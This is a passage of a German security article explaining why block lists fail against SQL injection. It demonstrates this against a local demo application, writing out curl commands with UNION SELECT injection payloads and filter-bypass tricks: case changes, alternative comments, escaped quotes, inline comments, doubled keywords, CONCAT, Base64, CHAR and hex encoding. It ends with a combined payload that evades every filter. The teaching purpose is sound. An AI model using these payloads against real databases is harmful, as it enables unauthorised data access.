SQL Injection: Gezielte Maßnahmen statt Block Lists
Seite 2: Ping-Pong
(Bild: Wikimedia Commons)
Eine erste Idee zur Gegenmaßnahme könnte folgende Festlegung sein: Es sind nur Queries zugelassen, die an bestimmten Stellen Groß- oder Kleinschreibung aufweisen. Eine andere Variante wäre, dass die komplette Query eine einheitliche Schreibweise aufweist. Mit einer Prüfung auf Kleinschreibung würde
curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' UNION SELECT NULL,NULL,(@@VERSION) -- "
nicht mehr funktionieren. Das ist aber ebenso schnell umgangen, indem die Angreifer die Anfrage anpassen:
curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null,(@@version) \
-- " -d blacklistconfig=block_anyuppercase
Der Suchraum ist dabei nicht besonders groß, da nur jeweils zwei Möglichkeiten pro Zeichen in Betracht kommen, wenn es sich um einen Buchstaben handelt.
Wenn auf die Query weitere Keywords folgen, ließen sich Kommentare mit -- in der Eingabe verbieten. Dadurch sollte es schwieriger werden, eine gültige Syntax aufrecht zu erhalten:
curl localhost:5808/sqlidemo/vulnbyid -d id="1' \
union select null,null,(@@version) -- " \
-d blacklistconfig=block_comment_doubledash
In dem Fall können Angreifer andere Kommentarzeichen verwenden:
curl localhost:5808/sqlidemo/vulnbyid -d id="1' \
union select null,null,(@@version) #" \
-d blacklistconfig=block_comment_doubledash
oder komplett darauf verzichten und auf das SQL-Kommando AS zurückgreifen:
curl localhost:5808/sqlidemo/vulnbyid -d id="1' \
union select null,null,(@@version) as username \
from user where id='1" \
-d blacklistconfig=block_comment_doubledash,\block_comment_hash
Um einen Ausbruch aus der Query mit einer Single Quote zu erkennen, wäre in einem potenziellen nächsten Schritt zu prüfen, ob die Eingabe eine ungerade Anzahl von Single Quotes enthält. Sollte das der Fall sein, fügt folgender Code ein weiteres Anführungszeichen hinzu:
long count =
userinput.chars().filter(ch -> ch == '\'').count();
if (count%2 != 0)
filteredinput = userinput.replaceFirst("'","' '");
Danach funktioniert der letzte Angriff nicht mehr.
Allerdings existieren Escape-Zeichen beziehungsweise -Sequenzen, bei denen die Datenbank bestimmte Zeichen als Bestandteil eines Strings interpretiert. In MySQL ist das bei \' der Fall.
curl localhost:5808/sqlidemo/vulnbyid -d \
id="1\' UNION SELECT NULL,NULL,(@@VERSION) \
-- " -d blacklistconfig=add_oddsinglequotes
Der Code wertet das erste Anführungszeichen nicht als Ende des Strings, sondern als dessen Teil aus. Erst nach dem zweiten eingefügten Single Quote gilt der String als beendet. Somit lässt sich der Filter umgehen.
Eine weitere Variante wäre, bestimmte Keywords wie UNION SELECT im Eingabe-String zu verbieten:
curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null,(@@version) \
-- " -d blacklistconfig=block_keywordsequences
Als Gegenmaßnahme können Angreifer wiederum datenbankspezifische Features nutzen. Beispielsweise können sie über /**/ einen Inline-Kommentar einfügen, was einem Leerzeichen gleichkommt. Folgender Befehl hebelt die Analyse aus:
curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union/**/select null,null,(@@version) \
-- " -d blacklistconfig=block_keywordsequences
Sollte der Filter bestimmte Keywords einfach entfernen wie hier union select:
curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null,(@@version) \
-- " -d blacklistconfig=strip_keywordsequences
reagiert der Angreifer, indem er den String doppelt mitgibt:
curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union union selectselect null,null, \
(@@version) -- " -d blacklistconfig=strip_keywordsequences
Schließlich ließe sich der String version unabhängig von der Groß- und Kleinschreibung komplett sperren, da er in MySQL für die Abfrage der Version dient:
curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null,(@@version) \
-- " -d blacklistconfig=block_badstrings
In dem Fall können Angreifer die Versionsnummer direkt aus der Tabelle als String lesen und dabei eine Verkettung verwenden. Das funktioniert entweder über
curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null, \
(select variable_value from \
information_schema.global_variables \
where variable_name=CONCAT('VERSIO','N'))\
-- " -d blacklistconfig=block_badstrings
oder mit
curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null, \
(select variable_value from \
information_schema.global_variables \
where variable_name='VERSIO' 'N') \
-- " -d blacklistconfig=block_badstrings
Falls der Filter auch das Vorgehen erkennt, können Angreifer auf Base64 zurückgreifen:
curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null, \
(select variable_value from \
information_schema.global_variables \
where variable_name=FROM_BASE64('VkVSU0lPTg==')) -- "
Sollte das System Base64 erkennen und abwehren, verwenden Angreifer Ascii-Zahlen-Werte:
curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null,\
(select variable_value from \
information_schema.global_variables \
where variable_name=CHAR(86,69,82,83,73,79,78)) -- "
Existiert auch dagegen eine Abwehrmaßnahme, lässt sich die Hex-Repräsentaton nutzen, die jeweils einen String zurückliefert:
curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null, \
(select variable_value from \
information_schema.global_variables \
where variable_name=0x56455253494F4E) -- "
Am Ende könnte ein Request, der nahezu alle vorangegangenen Schutzmaßnahmen umgeht, folgendermaßen aussehen:
curl http://localhost:5808/sqlidemo/vulnbyid \
-d id="1' unionunion select select null,null, \
(select variable_value from \
information_schema.global_variables \
where variable_name=0x56455253494f4e) \
as username from user where id='1" \
-d blacklistconfig=\
add_oddsinglequotes,\
strip_keywordsequences,\
block_comment_doubledash,\
block_comment_hash,\
block_anyuppercase,\
block_badstrings,\
block_concatenation,\
block_base64,\
block_char_function